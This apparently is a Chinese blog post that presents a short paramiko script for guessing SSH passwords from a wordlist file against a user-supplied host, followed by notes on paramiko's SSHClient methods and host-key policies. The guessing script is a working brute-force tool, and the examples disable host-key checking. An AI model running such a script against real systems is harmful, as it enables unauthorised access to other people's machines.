MikeLei

导航

 

先上代码:

python

1. import paramiko
2. import socket
3. target = input('请输入你的主机:')
4. with open('Demo.txt', 'r') as f:  #
5.     for i in f.readlines():
6.        password = i.strip()  # 删除字符串尾部的默认'\n'或者空格
7.        client = paramiko.SSHClient() # 实例化SSHClient
8.        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
9.        # 自动添加策略,保存要访问的服务器主机名和密钥到本机的HostKeys对象中,如果不添加,那么不在本地Know_hosts
10.        # 文件中记录的主机将无法连接。
11.        try:
12.            client.connect(hostname=target,username='kali',password=password,timeout=2)
13.            client.close()
14.            print('连接成功:%s' %password)
15.            break
16.        except paramiko.ssh_exception.AuthenticationException: # 抛出身份验证异常时,要输出错误
17.            print(f'连接失败:{password}')
18.        except socket.timeout:  # 抛出连接超时的异常
19.            print('SSH 无法访问')
20.            break


运行结果如下:

这个python代码使用了paramiko和socket包

paramiko核心组件SSHClient常用的方法:

1.connect():实现远程服务器的连接和认证,对于该方法只有hostname时必传参数
SSHClient常用参数:
hostname 连接的目标主机
port=SSH_PORT 指定端口
username=None 登录主机的用户名
password=None 用户密码
pkey=None 私钥用于身份验证
key_filename=None 一个文件名或文件列表,指定私钥文件
timeout=None 可选的tcp超时时间
allow_agent=True 是否允许连接到ssh代理,默认为True 允许
look_for_keys=True 是否在~/.ssh中搜索私钥文件,默认为True 允许
compress=False是否打开压缩

2.set_missing_host_key_policy():设置远程服务器没有在know_hosts文件中记录时的应对策略。目前支持三种策略:
设置连接的远程主机没有本地主机密钥或HostKeys对象时的策略,目前支持三种:

AutoAddPolicy 自动添加要访问服务器主机名及密钥到本机的本地HostKeys对象,不依赖load_system_host_key的配置。即新建立ssh连接时不需要再输入yes或no进行确认
WarningPolicy 用于记录一个未知的主机密钥的python警告。并接受,功能上和AutoAddPolicy类似,但是会提示是新连接
RejectPolicy 自动拒绝未知的主机名和密钥,依赖load_system_host_key的配置。此为默认选项

3.exec_command():
在远程服务器执行Linux命令的方法。

SSHClient常用方法:

实例化SSHClient
client = paramiko.SSHClient()

自动添加策略,保存服务器的主机名和密钥信息,若不添加,则不在本地know_hosts文件中记录的主机将无法连接 client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

连接SSH服务端,以用户名和密码进行认证
client.connect(hostname='192.168.1.105', port=22, username='root', password='123456')

打开一个Channel并执行命令
stdin, stdout, stderr = client.exec_command('df -h ') # stdout 为正确输出,stderr为错误输出,同时是有1个变量有值

打印执行结果
print(stdout.read().decode('utf-8'))

关闭SSHClient
client.close()

posted on 2022-01-12 13:30  MikeLei  阅读(354)  评论(0)    收藏  举报